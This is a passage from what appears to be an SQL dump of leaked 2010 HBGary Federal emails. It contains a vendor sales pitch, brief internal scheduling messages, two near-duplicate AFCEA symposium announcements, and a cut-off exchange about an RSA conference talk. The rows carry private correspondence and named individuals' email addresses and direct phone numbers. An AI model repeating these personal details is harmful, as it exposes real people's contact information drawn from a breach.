check out this short video\r\n from the Collegiate Cyber Defense Competition (CCDC) we recently sponsored.\r\n\r\nWe are also delivering a webinar July 7, 14, or 21 that you may find interesting &ndash; The Case for Network Forensics.\r\n\r\nI understand your time is valuable and will treat it with the utmost respect. When would be a good time to discuss scheduling a demo or a 30-day evaluation? \r\n\r\n\r\nThank you,\r\n\r\nJosh Brewster\r\n801-545-4050\r\nwww.soleranetworks.com\r\n\r\n\r\nThis email was sent by: Solera Networks, Inc.\r\n10713 S. Jordan Gateway, Suite 100 South Jordan, UT, 84095, United States\r\n\r\n\r\n\r\nUpdate Profile\r\nUnsubscribe\r\n',6918,'aaron_hbgary_com/6918.html'),(8227,'2010-07-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006416.M128700P14101Q3082.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Mike Spohn\" <mike@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','AD Webex','Hey Guys,\r\n\r\nCan any of you support an AD webex tomorrow for Mantech senior folks @ 2pm?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10855,'aaron_hbgary_com/10855.html'),(8228,'2010-07-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006416.M366780P14101Q3083.eml','\"Andy Kemp\" <akemp@apple.com>','Any chance we can get together today?','I will be in Reston this afternoon.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478',15165,'aaron_hbgary_com/15165.html'),(8229,'2010-07-06','\"AFCEA DC Events\" <events@afceadc.org>','/aaron@hbgary.com/new/1297006416.M651721P14101Q3084.eml','aaron@hbgary.com','Less than 24 hrs left to register for the Cybersecurity Symposium on USCYBERCOM\'s Role in Protecting .mil, .gov & .com - Jul 8, Hilton Washington','\r\n\r\n\r\nAFCEA DC Monthly Luncheon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n        \r\n        \r\n        \r\n        \r\n      \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          AFCEA \r\n            DC Home\r\n          News\r\n          Calendar\r\n          About \r\n            AFCEA DC\r\n        \r\n      \r\n  \r\n\r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n           \r\n               \r\n                &nbsp;\r\n                Less \r\n                    than 24 hrs left to register. Closes 9am, Wed, July 7.\r\n                    Early-Bird rate extended due to the generosity of our sponsors!\r\n                  2nd Annual AFCEA DC\r\n                    Cybersecurity Symposium\r\n                    USCYBERCOM\'s Role in Protecting \r\n                    .mil, .gov &amp; .com\r\n                  Thursday, July 8, 2010\r\n                    8am-5pm - Hilton Washington, Washington, \r\n                    DC\r\n                    www.afceadc.org/cyber \r\n                  \r\n                  Speakers &amp; Program\r\n                  \r\n                    Luncheon Keynote: VADM Carl V. Mauney, \r\n                      USN - Deputy Commander, U.S. Strategic Command \r\n                      (USSTRATCOM) (confirmed)\r\n                      \r\n                    \r\n                    Closing Keynote: Mr. Howard A. Schmidt, \r\n                      White House Cybersecurity Coordinator (confirmed)\r\n                      \r\n                    \r\n                    Morning Keynote: Mr. Ed Mueller \r\n                      - Chair, National Security Telecommunications Advisory Committee \r\n                      (NSTAC)  (confirmed) \r\n                      \r\n                    \r\n                     Morning Keynote: Mr. Phil Reitinger \r\n                      - Deputy Under Secretary of National Protection &amp; Programs \r\n                      Directorate (NPPD), U.S. Department of Homeland Security \r\n                      (DHS) (confirmed)\r\n                      \r\n                    \r\n                    Reaction to Cyber Shockwave - Enter DoD &amp; \r\n                      USCYBERCOM\r\n                      Panel Block on .Mil to .Gov Relationships \r\n                      \r\n                      \r\n                      \r\n                        Mr. Bob Butler - Deputy Assistant \r\n                          Secretary of Defense for Cyber Policy, U.S. Department \r\n                          of Defense (DoD)  (confirmed)\r\n                          \r\n                          \r\n                        BG John Davis, USA - Director of \r\n                          Current Operations (J-33), U.S. Cyber Command (USCYBERCOM) \r\n                          &amp; Deputy Commander, JTF-GNO (confirmed)\r\n                          \r\n                          \r\n                        RADM Mike Brown, USN- Deputy Assistant \r\n                          Secretary for Cyber Security &amp; Communications (CS&amp;C), \r\n                          U.S. Department of Homeland Security (DHS)  \r\n                          (confirmed)\r\n                          \r\n                          \r\n                        Mr. Bruce Held - Director of Intelligence \r\n                          &amp; Counter Intelligence, U.S. Dept of Energy  \r\n                          (confirmed)\r\n                          \r\n                          \r\n                        Moderator: Gen. \r\n                          Ronald E. Keys (USAF, Ret) - Sr Advisor, Bipartisan \r\n                          Policy Center; &amp; former Commander, Air Combat Command \r\n                          (ACC), USAF (confirmed)\r\n                          \r\n                        \r\n                      \r\n                    \r\n                    Public Private Partnerships Framework\r\n                      Panel Block on .Mil/.Gov to .Com Relationships \r\n                      \r\n                      \r\n                      \r\n                        Ms. Anne Neuberger - Special Assistant \r\n                          to the Director for Enduring Security Framework Forum \r\n                          (Public Private Partnerships Framework), National Security \r\n                          Agency (NSA)/USCYBERCOM (confirmed)\r\n                          \r\n                          \r\n                        Mr. Riley Repko - Senior Advisor, \r\n                          Cyber Operations &amp; Transformation, \r\n                          Deputy Chief of Staff for Air, Space &amp; Information \r\n                          Operations, Plans &amp; Requirements (A3/5), U.S. Air \r\n                          Force, detailed to the Office of the Asst SecDef for \r\n                          Cyber  (confirmed)\r\n                          \r\n                          \r\n                        Ms. Ellen McCarthy - President, Intelligence \r\n                          and National Security Alliance (INSA)  (confirmed)\r\n                          \r\n                          \r\n                        Mr. Guy Copeland - Chairman, Cross-Sector \r\n                          Cybersecurity Working Group (CSCSWG)  (confirmed)\r\n                          \r\n                          \r\n                        Ms. Victoria Morgan - Director, Cyber \r\n                          Security/Information Assurance, Defense Industrial Base \r\n                          (DIB), Office of the ASD-NII/DoD CIO, U.S. Department \r\n                          of Defense (DoD) (confirmed)\r\n                          \r\n                        Moderator: Lt. Gen. \r\n                          Harry D. Raduege (USAF, Ret) - Co-Chair, Commission \r\n                          on Cybersecurity for the 44th Presidency, Center for \r\n                          Strategic &amp; International Studies (CSIS); &amp; \r\n                          former Director, Defense Information Systems Agency \r\n                          (DISA)  (confirmed)\r\n                          \r\n                        \r\n                      \r\n                    \r\n                    Standing Up USCYBERCOM\r\n                      Panel Block on .Mil to .Mil Relationships\r\n                      \r\n                       \r\n                      \r\n                        Maj. Gen. Suzanne &quot;Zan&quot; Vautrinot, \r\n                          USAF  - Director of Plans and Policy (J5), \r\n                          U.S. Cyber Command (USCYBERCOM)  (confirmed)\r\n                          \r\n                        \r\n                        MajGen George Allen, USMC - Deputy \r\n                          Commander, Marine Corps Forces Cyberspace Command (MARFORCYBER) \r\n                          &amp; Director, C4 &amp; CIO, U.S. Marine Corps \r\n                          (confirmed)\r\n                          \r\n                          \r\n                        Maj. Gen. Paul F. Capasso, USAF - \r\n                          Director, Network Services, Office of Information Dominance \r\n                          &amp; CIO, U.S. Air Force  (confirmed) \r\n                          \r\n                          \r\n                          \r\n                        RDML Robert E. Day, Jr., USCG - Director, \r\n                          Cyber Command, U.S. Coast Guard  (confirmed)\r\n                          \r\n                          \r\n                        Brig. Gen. Greg Brundidge, USAF - \r\n                          Director, Communications &amp; Information (J6) - European \r\n                          Command (USEUCOM)  (confirmed) \r\n                          \r\n                          \r\n                          \r\n                        COL (Promotable) Mark R. Quantock, USA \r\n                          - Nominated for Director of Operations (G-3), \r\n                          Army Forces Cyber Command (ARFORCYBER), U.S. Army \r\n                           (confirmed)  \r\n                          \r\n                      \r\n                    \r\n                  \r\n                  Sign-Up \r\n                    to Sponsor the Cybersecurity Symposium\r\n                  Register \r\n                    to Attend the Cybersecurity Symposium\r\n                    \r\n                  The Armed Forces Communications and Electronics \r\n                    Association’s Washington, DC Chapter (AFCEA DC) is holding \r\n                    its 2nd Annual Cybersecurity Symposium on July 8, 2010 at \r\n                    the Hilton Washington in Washington, DC. The Symposium will \r\n                    focus on the newly confirmed U.S. Cyber Command (USCYBERCOM) \r\n                    – its partners, relationships, dependencies, policies, and \r\n                    reach. Serving a mission-critical function, CYBERCOM must \r\n                    interface with all stakeholders involved in protecting the \r\n                    nation’s networks, including the five military services, Unified \r\n                    Commands/COCOMs, Department of Homeland Security (DHS), other \r\n                    civilian agencies, and industry to name a few.\r\n                   “Given the important nature of the organization \r\n                    and the relative ‘newness’ in the market, we determined a \r\n                    focus on USCYBERCOM would present an excellent educational \r\n                    opportunity for our members and attendees,” said Barbara Bridges, \r\n                    Chairperson of the Cybersecurity Symposium for AFCEA DC. “Last \r\n                    year’s Symposium drew close to 700 people, and we expect that \r\n                    number to increase in 2010. The speaker line-up that the committee \r\n                    has assembled is second to none.” (see the full line-up \r\n                    of speakers below)\r\n                   As part of the program, the Cybersecurity Symposium \r\n                    will have keynote presentations by VADM Carl V. Mauney, Deputy \r\n                    Commander, U.S. Strategic Command (USSTRATCOM) and Mr. Howard \r\n                    A. Schmidt, White House Cybersecurity Coordinator. In addition, \r\n                    the event will feature many other prominent speakers from \r\n                    government (civilian and defense), industry, and academia \r\n                    on panel sessions focused on:\r\n                  \r\n                     Reaction to Cyber Shockwave - Enter DoD &amp; CYBERCOM\r\n                    Public Private Partnerships Framework\r\n                    Standing Up USCYBERCOM\r\n                  \r\n                  “This is my second year as Chairperson for this event and \r\n                    I cannot be more excited about the program we have established \r\n                    for the 2010 campaign,” said Bridges. “Attendees are sure \r\n                    to walk away with a more detailed view on the goals and objectives \r\n                    of USCYBERCOM, as well as priorities, structure, and immediate \r\n                    requirements. The Symposium is a timely forum for the exchange \r\n                    of information in this regard.”\r\n                  AFCEA DC has a proud heritage as the oldest AFCEA regional \r\n                    point of presence in the Washington Metropolitan area. Through \r\n                    its informational activities and networking events, AFCEA \r\n                    DC offers an ethical forum for the sharing of critical information \r\n                    and insights into new and emerging technologies, as well as \r\n                    new ways to apply technology to reduce costs and improve the \r\n                    defense community’s mission performance. A not-for-profit \r\n                    organization, AFCEA DC supports one of the most robust educational \r\n                    programs in this community through its scholarship foundation, \r\n                    teachers’ grants, and educational outreach to the Washington, \r\n                    DC schools. \r\n                  For more Information Contact:\r\n                  \r\n                     \r\n                       AFCEA DC/CAPLEAD Staff, events@afceadc.org, tel: 202-701-5808 \r\n                      \r\n                    \r\n                  \r\n                  Due \r\n                    to the Generosity of Our Sponsors...\r\n                    The Early-Bird rate has been extended right through to July \r\n                    7th. \r\n                  &nbsp;\r\n                  \r\n                    \r\n                      Small Business Silver Sponsors: \r\n                    \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            \r\n                            &nbsp;\r\n                            \r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            \r\n                            &nbsp;\r\n                            \r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            \r\n                            &nbsp;\r\n                            \r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                      \r\n                    \r\n                  \r\n                  &nbsp;\r\n                &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                &nbsp;\r\n              \r\n            \r\n            \r\n            \r\n          \r\n          \r\n            \r\n              Conference Links: \r\n            \r\n            \r\n              \r\n            \r\n            \r\n              Event \r\n                    Home Page \r\n                  Speakers \r\n                    &amp; Program\r\n                  Sponsorships\r\n                                  Individual\r\n                  Registration\r\nVenue\r\n                  &nbsp;\r\n                \r\n            \r\n          \r\n            \r\n            \r\n              \r\n                Diamond Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n\r\n\r\n\r\n  \r\n  \r\n\r\n\r\n  \r\n  \r\n\r\n  \r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n\r\n\r\n\r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Premiere Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                    \r\n                    \r\n                      \r\n                        \r\n                    \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      &nbsp;\r\n                    \r\n                  \r\n                \r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Platinum Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                    \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                        \r\n                      \r\n                      \r\n                        \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                    \r\n                \r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Gold Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                    \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                    \r\n                \r\n              \r\n          \r\n          \r\n          \r\n        \r\n      \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n             Armed Forces Communications and Electronics Association \r\n              of Washington, D.C.\r\n              1220 L St., NW, Suite 100-407, Washington, D.C. 20005-4018\r\n              info@afceadc.org&nbsp;&nbsp; \r\n              |&nbsp;&nbsp; tel: 202-701-5808&nbsp;&nbsp; |&nbsp;&nbsp; fax: 202-330-5012\r\n            \r\n            \r\n        \r\n        \r\n          &nbsp;\r\n            AFCEA NOVA Management by an amazing team of Volunteers, \r\n              supported by : CAPLEAD | info@caplead.com\r\n            \r\n        \r\n      \r\n  \r\n\r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',8446,'aaron_hbgary_com/8446.html'),(8230,'2010-07-06','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297006416.M948406P14101Q3085.eml','aaron@hbgary.com','Less than 24 hrs left to register for our sister Chapter AFCEA DC\'s Cybersecurity Symposium on July 8 - USCYBERCOM\'s Role in Protecting .mil, .gov & .com','\r\n\r\n\r\nAFCEA DC Monthly Luncheon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n        \r\n        \r\n        \r\n        \r\n      \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          AFCEA \r\n            DC Home\r\n          News\r\n          Calendar\r\n          About \r\n            AFCEA DC\r\n        \r\n      \r\n  \r\n\r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n           \r\n               \r\n                &nbsp;\r\n                Less \r\n                    than 24 hrs left to register. Closes 9am, Wed, July 7.\r\n                    Early-Bird rate extended due to the generosity of our sponsors!\r\n                  2nd Annual AFCEA DC\r\n                    Cybersecurity Symposium\r\n                    USCYBERCOM\'s Role in Protecting \r\n                    .mil, .gov &amp; .com\r\n                  Thursday, July 8, 2010\r\n                    8am-5pm - Hilton Washington, Washington, \r\n                    DC\r\n                    www.afceadc.org/cyber \r\n                  \r\n                  Speakers &amp; Program\r\n                  \r\n                    Luncheon Keynote: VADM Carl V. Mauney, \r\n                      USN - Deputy Commander, U.S. Strategic Command \r\n                      (USSTRATCOM) (confirmed)\r\n                      \r\n                    \r\n                    Closing Keynote: Mr. Howard A. Schmidt, \r\n                      White House Cybersecurity Coordinator (confirmed)\r\n                      \r\n                    \r\n                    Morning Keynote: Mr. Ed Mueller \r\n                      - Chair, National Security Telecommunications Advisory Committee \r\n                      (NSTAC)  (confirmed) \r\n                      \r\n                    \r\n                     Morning Keynote: Mr. Phil Reitinger \r\n                      - Deputy Under Secretary of National Protection &amp; Programs \r\n                      Directorate (NPPD), U.S. Department of Homeland Security \r\n                      (DHS) (confirmed)\r\n                      \r\n                    \r\n                    Reaction to Cyber Shockwave - Enter DoD &amp; \r\n                      USCYBERCOM\r\n                      Panel Block on .Mil to .Gov Relationships \r\n                      \r\n                      \r\n                      \r\n                        Mr. Bob Butler - Deputy Assistant \r\n                          Secretary of Defense for Cyber Policy, U.S. Department \r\n                          of Defense (DoD)  (confirmed)\r\n                          \r\n                          \r\n                        BG John Davis, USA - Director of \r\n                          Current Operations (J-33), U.S. Cyber Command (USCYBERCOM) \r\n                          &amp; Deputy Commander, JTF-GNO (confirmed)\r\n                          \r\n                          \r\n                        RADM Mike Brown, USN- Deputy Assistant \r\n                          Secretary for Cyber Security &amp; Communications (CS&amp;C), \r\n                          U.S. Department of Homeland Security (DHS)  \r\n                          (confirmed)\r\n                          \r\n                          \r\n                        Mr. Bruce Held - Director of Intelligence \r\n                          &amp; Counter Intelligence, U.S. Dept of Energy  \r\n                          (confirmed)\r\n                          \r\n                          \r\n                        Moderator: Gen. \r\n                          Ronald E. Keys (USAF, Ret) - Sr Advisor, Bipartisan \r\n                          Policy Center; &amp; former Commander, Air Combat Command \r\n                          (ACC), USAF (confirmed)\r\n                          \r\n                        \r\n                      \r\n                    \r\n                    Public Private Partnerships Framework\r\n                      Panel Block on .Mil/.Gov to .Com Relationships \r\n                      \r\n                      \r\n                      \r\n                        Ms. Anne Neuberger - Special Assistant \r\n                          to the Director for Enduring Security Framework Forum \r\n                          (Public Private Partnerships Framework), National Security \r\n                          Agency (NSA)/USCYBERCOM (confirmed)\r\n                          \r\n                          \r\n                        Mr. Riley Repko - Senior Advisor, \r\n                          Cyber Operations &amp; Transformation, \r\n                          Deputy Chief of Staff for Air, Space &amp; Information \r\n                          Operations, Plans &amp; Requirements (A3/5), U.S. Air \r\n                          Force, detailed to the Office of the Asst SecDef for \r\n                          Cyber  (confirmed)\r\n                          \r\n                          \r\n                        Ms. Ellen McCarthy - President, Intelligence \r\n                          and National Security Alliance (INSA)  (confirmed)\r\n                          \r\n                          \r\n                        Mr. Guy Copeland - Chairman, Cross-Sector \r\n                          Cybersecurity Working Group (CSCSWG)  (confirmed)\r\n                          \r\n                          \r\n                        Ms. Victoria Morgan - Director, Cyber \r\n                          Security/Information Assurance, Defense Industrial Base \r\n                          (DIB), Office of the ASD-NII/DoD CIO, U.S. Department \r\n                          of Defense (DoD) (confirmed)\r\n                          \r\n                        Moderator: Lt. Gen. \r\n                          Harry D. Raduege (USAF, Ret) - Co-Chair, Commission \r\n                          on Cybersecurity for the 44th Presidency, Center for \r\n                          Strategic &amp; International Studies (CSIS); &amp; \r\n                          former Director, Defense Information Systems Agency \r\n                          (DISA)  (confirmed)\r\n                          \r\n                        \r\n                      \r\n                    \r\n                    Standing Up USCYBERCOM\r\n                      Panel Block on .Mil to .Mil Relationships\r\n                      \r\n                       \r\n                      \r\n                        Maj. Gen. Suzanne &quot;Zan&quot; Vautrinot, \r\n                          USAF  - Director of Plans and Policy (J5), \r\n                          U.S. Cyber Command (USCYBERCOM)  (confirmed)\r\n                          \r\n                        \r\n                        MajGen George Allen, USMC - Deputy \r\n                          Commander, Marine Corps Forces Cyberspace Command (MARFORCYBER) \r\n                          &amp; Director, C4 &amp; CIO, U.S. Marine Corps \r\n                          (confirmed)\r\n                          \r\n                          \r\n                        Maj. Gen. Paul F. Capasso, USAF - \r\n                          Director, Network Services, Office of Information Dominance \r\n                          &amp; CIO, U.S. Air Force  (confirmed) \r\n                          \r\n                          \r\n                          \r\n                        RDML Robert E. Day, Jr., USCG - Director, \r\n                          Cyber Command, U.S. Coast Guard  (confirmed)\r\n                          \r\n                          \r\n                        Brig. Gen. Greg Brundidge, USAF - \r\n                          Director, Communications &amp; Information (J6) - European \r\n                          Command (USEUCOM)  (confirmed) \r\n                          \r\n                          \r\n                          \r\n                        COL (Promotable) Mark R. Quantock, USA \r\n                          - Nominated for Director of Operations (G-3), \r\n                          Army Forces Cyber Command (ARFORCYBER), U.S. Army \r\n                           (confirmed)  \r\n                          \r\n                      \r\n                    \r\n                  \r\n                  Sign-Up \r\n                    to Sponsor the Cybersecurity Symposium\r\n                  Register \r\n                    to Attend the Cybersecurity Symposium\r\n                    \r\n                  The Armed Forces Communications and Electronics \r\n                    Association’s Washington, DC Chapter (AFCEA DC) is holding \r\n                    its 2nd Annual Cybersecurity Symposium on July 8, 2010 at \r\n                    the Hilton Washington in Washington, DC. The Symposium will \r\n                    focus on the newly confirmed U.S. Cyber Command (USCYBERCOM) \r\n                    – its partners, relationships, dependencies, policies, and \r\n                    reach. Serving a mission-critical function, CYBERCOM must \r\n                    interface with all stakeholders involved in protecting the \r\n                    nation’s networks, including the five military services, Unified \r\n                    Commands/COCOMs, Department of Homeland Security (DHS), other \r\n                    civilian agencies, and industry to name a few.\r\n                   “Given the important nature of the organization \r\n                    and the relative ‘newness’ in the market, we determined a \r\n                    focus on USCYBERCOM would present an excellent educational \r\n                    opportunity for our members and attendees,” said Barbara Bridges, \r\n                    Chairperson of the Cybersecurity Symposium for AFCEA DC. “Last \r\n                    year’s Symposium drew close to 700 people, and we expect that \r\n                    number to increase in 2010. The speaker line-up that the committee \r\n                    has assembled is second to none.” (see the full line-up \r\n                    of speakers below)\r\n                   As part of the program, the Cybersecurity Symposium \r\n                    will have keynote presentations by VADM Carl V. Mauney, Deputy \r\n                    Commander, U.S. Strategic Command (USSTRATCOM) and Mr. Howard \r\n                    A. Schmidt, White House Cybersecurity Coordinator. In addition, \r\n                    the event will feature many other prominent speakers from \r\n                    government (civilian and defense), industry, and academia \r\n                    on panel sessions focused on:\r\n                  \r\n                     Reaction to Cyber Shockwave - Enter DoD &amp; CYBERCOM\r\n                    Public Private Partnerships Framework\r\n                    Standing Up USCYBERCOM\r\n                  \r\n                  “This is my second year as Chairperson for this event and \r\n                    I cannot be more excited about the program we have established \r\n                    for the 2010 campaign,” said Bridges. “Attendees are sure \r\n                    to walk away with a more detailed view on the goals and objectives \r\n                    of USCYBERCOM, as well as priorities, structure, and immediate \r\n                    requirements. The Symposium is a timely forum for the exchange \r\n                    of information in this regard.”\r\n                  AFCEA DC has a proud heritage as the oldest AFCEA regional \r\n                    point of presence in the Washington Metropolitan area. Through \r\n                    its informational activities and networking events, AFCEA \r\n                    DC offers an ethical forum for the sharing of critical information \r\n                    and insights into new and emerging technologies, as well as \r\n                    new ways to apply technology to reduce costs and improve the \r\n                    defense community’s mission performance. A not-for-profit \r\n                    organization, AFCEA DC supports one of the most robust educational \r\n                    programs in this community through its scholarship foundation, \r\n                    teachers’ grants, and educational outreach to the Washington, \r\n                    DC schools. \r\n                  For more Information Contact:\r\n                  \r\n                     \r\n                       AFCEA DC/CAPLEAD Staff, events@afceadc.org, tel: 202-701-5808 \r\n                      \r\n                    \r\n                  \r\n                  Due \r\n                    to the Generosity of Our Sponsors...\r\n                    The Early-Bird rate has been extended right through to July \r\n                    7th. \r\n                  &nbsp;\r\n                  \r\n                    \r\n                      Small Business Silver Sponsors: \r\n                    \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            \r\n                            &nbsp;\r\n                            \r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            \r\n                            &nbsp;\r\n                            \r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            \r\n                            &nbsp;\r\n                            \r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                      \r\n                    \r\n                  \r\n                  &nbsp;\r\n                &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                &nbsp;\r\n              \r\n            \r\n            \r\n            \r\n          \r\n          \r\n            \r\n              Conference Links: \r\n            \r\n            \r\n              \r\n            \r\n            \r\n              Event \r\n                    Home Page \r\n                  Speakers \r\n                    &amp; Program\r\n                  Sponsorships\r\n                                  Individual\r\n                  Registration\r\nVenue\r\n                  &nbsp;\r\n                \r\n            \r\n          \r\n            \r\n            \r\n              \r\n                Diamond Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n\r\n\r\n\r\n  \r\n  \r\n\r\n\r\n  \r\n  \r\n\r\n  \r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n\r\n\r\n\r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Premiere Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                    \r\n                    \r\n                      \r\n                        \r\n                    \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      &nbsp;\r\n                    \r\n                  \r\n                \r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Platinum Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                    \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                        \r\n                      \r\n                      \r\n                        \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                    \r\n                \r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Gold Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                    \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                    \r\n                \r\n              \r\n          \r\n          \r\n          \r\n        \r\n      \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n             Armed Forces Communications and Electronics Association \r\n              of Washington, D.C.\r\n              1220 L St., NW, Suite 100-407, Washington, D.C. 20005-4018\r\n              info@afceadc.org&nbsp;&nbsp; \r\n              |&nbsp;&nbsp; tel: 202-701-5808&nbsp;&nbsp; |&nbsp;&nbsp; fax: 202-330-5012\r\n            \r\n            \r\n        \r\n        \r\n          &nbsp;\r\n            AFCEA DC Management by: CAPLEAD | info@caplead.com\r\n            \r\n            \r\n              You have received this message as a member of the AFCEA NOVA family. \r\n              On occassion we share information with our mailing list about events \r\n              sponsored by our sister Chapters and our strategic partners. We \r\n              hope you consider the event above if it fits with the interests \r\n              of your business or agency.\r\n            AFCEA NOVA is the Armed Forces Communications and Electronics Association \r\n              of Northern Virginia\r\n              428 Hume Ave, 2nd floor, Washington, DC 222301\r\n              events@afceanova.org | tel: 703-549-6911 | fax: 703-997-3006\r\n            \r\n        \r\n      \r\n  \r\n\r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',16102,'aaron_hbgary_com/16102.html'),(8231,'2010-07-06','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006417.M188102P14101Q3086.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: RSA','I am having a hard time figuring out what to pitch.  Go ahead and I\r\nI\'ll work around yours.\r\n\r\n-Greg\r\n\r\n\r\nOn Tuesday, July 6, 2010, Aaron Barr  wrote:\r\n> Are you planning on doing a talk at RSA next year?  Deadline for abstracts is this Friday and I would like to do a presentation on Threat Intelligence using some of what you have done looking at the internals of Malware and then extending it out using other data sets within Palantir.  But I would like to know what your plans are first.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal 